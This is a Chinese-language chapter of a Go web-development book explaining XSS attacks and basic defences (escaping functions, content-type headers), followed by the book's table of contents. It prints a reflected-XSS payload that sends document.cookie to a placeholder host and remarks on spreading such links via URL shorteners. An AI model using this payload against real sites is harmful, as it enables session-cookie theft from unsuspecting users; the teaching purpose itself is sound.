隨著互聯網技術的發展,現在的Web應用都含有大量的動態內容以提高用戶體驗。所謂動態內容,就是應用程序能夠根據用戶環境和用戶請求,輸出相應的內容。動態站點會受到一種名為“跨站腳本攻擊”(Cross Site Scripting, 安全專家們通常將其縮寫成 XSS)的威脅,而靜態站點則完全不受其影響。
## [](https://github.com/astaxie/build-web-application-with-golang/blob/master/zh/09.3.md#什么是xss)什么是XSS
XSS攻擊:跨站腳本攻擊(Cross-Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。XSS是一種常見的web安全漏洞,它允許攻擊者將惡意代碼植入到提供給其它用戶使用的頁面中。不同于大多數攻擊(一般只涉及攻擊者和受害者),XSS涉及到三方,即攻擊者、客戶端與Web應用。XSS的攻擊目標是為了盜取存儲在客戶端的cookie或者其他網站用于識別客戶端身份的敏感信息。一旦獲取到合法用戶的信息后,攻擊者甚至可以假冒合法用戶與網站進行交互。
XSS通常可以分為兩大類:一類是存儲型XSS,主要出現在讓用戶輸入數據,供其他瀏覽此頁的用戶進行查看的地方,包括留言、評論、博客日志和各類表單等。應用程序從數據庫中查詢數據,在頁面中顯示出來,攻擊者在相關頁面輸入惡意的腳本數據后,用戶瀏覽此類頁面時就可能受到攻擊。這個流程簡單可以描述為:惡意用戶的Html輸入Web程序->進入數據庫->Web程序->用戶瀏覽器。另一類是反射型XSS,主要做法是將腳本代碼加入URL地址的請求參數里,請求參數進入程序后在頁面直接輸出,用戶點擊類似的惡意鏈接就可能受到攻擊。
XSS目前主要的手段和目的如下:
* 盜用cookie,獲取敏感信息。
* 利用植入Flash,通過crossdomain權限設置進一步獲取更高權限;或者利用Java等得到類似的操作。
* 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻擊者)用戶的身份執行一些管理動作,或執行一些如:發微博、加好友、發私信等常規操作,前段時間新浪微博就遭遇過一次XSS。
* 利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的投票活動。
* 在訪問量極大的一些頁面上的XSS可以攻擊一些小型網站,實現DDoS攻擊的效果
## [](https://github.com/astaxie/build-web-application-with-golang/blob/master/zh/09.3.md#xss的原理)XSS的原理
Web應用未對用戶提交請求的數據做充分的檢查過濾,允許用戶在提交的數據中摻入HTML代碼(最主要的是“>”、“<”),并將未經轉義的惡意代碼輸出到第三方用戶的瀏覽器解釋執行,是導致XSS漏洞的產生原因。
接下來以反射性XSS舉例說明XSS的過程:現在有一個網站,根據參數輸出用戶的名稱,例如訪問url:`http://127.0.0.1/?name=astaxie`,就會在瀏覽器輸出如下信息:
~~~
hello astaxie
~~~
如果我們傳遞這樣的url:`http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`,這時你就會發現瀏覽器跳出一個彈出框,這說明站點已經存在了XSS漏洞。那么惡意用戶是如何盜取Cookie的呢?與上類似,如下這樣的url:`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>`,這樣就可以把當前的cookie發送到指定的站點:www.xxx.com。你也許會說,這樣的URL一看就有問題,怎么會有人點擊?,是的,這類的URL會讓人懷疑,但如果使用短網址服務將之縮短,你還看得出來么?攻擊者將縮短過后的url通過某些途徑傳播開來,不明真相的用戶一旦點擊了這樣的url,相應cookie數據就會被發送事先設定好的站點,這樣子就盜得了用戶的cookie信息,然后就可以利用Websleuth之類的工具來檢查是否能盜取那個用戶的賬戶。
更加詳細的關于XSS的分析大家可以參考這篇叫做《[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》的文章。
## [](https://github.com/astaxie/build-web-application-with-golang/blob/master/zh/09.3.md#如何預防xss)如何預防XSS
答案很簡單,堅決不要相信用戶的任何輸入,并過濾掉輸入中的所有特殊字符。這樣就能消滅絕大部分的XSS攻擊。
目前防御XSS主要有如下幾種方式:
* 過濾特殊字符
避免XSS的方法之一主要是將用戶所提供的內容進行過濾,Go語言提供了HTML的過濾函數:
text/template包下面的HTMLEscapeString、JSEscapeString等函數
* 使用HTTP頭指定類型
`w.Header().Set("Content-Type","text/javascript")`
這樣就可以讓瀏覽器解析javascript代碼,而不會是html輸出。
## [](https://github.com/astaxie/build-web-application-with-golang/blob/master/zh/09.3.md#總結)總結
XSS漏洞是相當有危害的,在開發Web應用的時候,一定要記住過濾數據,特別是在輸出到客戶端之前,這是現在行之有效的防止XSS的手段。
- 第一章 Go環境配置
- 1.1 Go安裝
- 1.2 GOPATH 與工作空間
- 1.3 Go 命令
- 1.4 Go開發工具
- 1.5 小結
- 第二章 Go語言基礎
- 2.1 你好,Go
- 2.2 Go基礎
- 2.3 流程和函數
- 2.4 struct類型
- 2.5 面向對象
- 2.6 interface
- 2.7 并發
- 2.8 總結
- 第三章 Web基礎
- 3.1 Web工作方式
- 3.2 Go搭建一個Web服務器
- 3.3 Go如何使得Web工作
- 3.4 Go的http包詳解
- 3.5 小結
- 第四章 表單
- 4.1 處理表單的輸入
- 4.2 驗證表單的輸入
- 4.3 預防跨站腳本
- 4.4 防止多次遞交表單
- 4.5 處理文件上傳
- 4.6 小結
- 第五章 訪問數據庫
- 5.1 database/sql接口
- 5.2 使用MySQL數據庫
- 5.3 使用SQLite數據庫
- 5.4 使用PostgreSQL數據庫
- 5.5 使用beedb庫進行ORM開發
- 5.6 NOSQL數據庫操作
- 5.7 小結
- 第六章 session和數據存儲
- 6.1 session和cookie
- 6.2 Go如何使用session
- 6.3 session存儲
- 6.4 預防session劫持
- 6.5 小結
- 第七章 文本處理
- 7.1 XML處理
- 7.2 JSON處理
- 7.3 正則處理
- 7.4 模板處理
- 7.5 文件操作
- 7.6 字符串處理
- 7.7 小結
- 第八章 Web服務
- 8.1 Socket編程
- 8.2 WebSocket
- 8.3 REST
- 8.4 RPC
- 8.5 小結
- 第九章 安全與加密
- 9.1 預防CSRF攻擊
- 9.2 確保輸入過濾
- 9.3 避免XSS攻擊
- 9.4 避免SQL注入
- 9.5 存儲密碼
- 9.6 加密和解密數據
- 9.7 小結
- 第十章 國際化和本地化
- 10.1 設置默認地區
- 10.2 本地化資源
- 10.3 國際化站點
- 10.4 小結
- 第十一章 錯誤處理,調試和測試
- 11.1 錯誤處理
- 11.2 使用GDB調試
- 11.3 Go怎么寫測試用例
- 11.4 小結
- 第十二章 部署與維護
- 12.1 應用日志
- 12.2 網站錯誤處理
- 12.3 應用部署
- 12.4 備份和恢復
- 12.5 小結
- 第十三章 如何設計一個Web框架
- 13.1 項目規劃
- 13.2 自定義路由器設計
- 13.3 controller設計
- 13.4 日志和配置設計
- 13.5 實現博客的增刪改
- 13.6 小結
- 第十四章 擴展Web框架
- 14.1 靜態文件支持
- 14.2 Session支持
- 14.3 表單及驗證支持
- 14.4 用戶認證
- 14.5 多語言支持
- 14.6 pprof支持
- 14.7 小結
- 附錄A 參考資料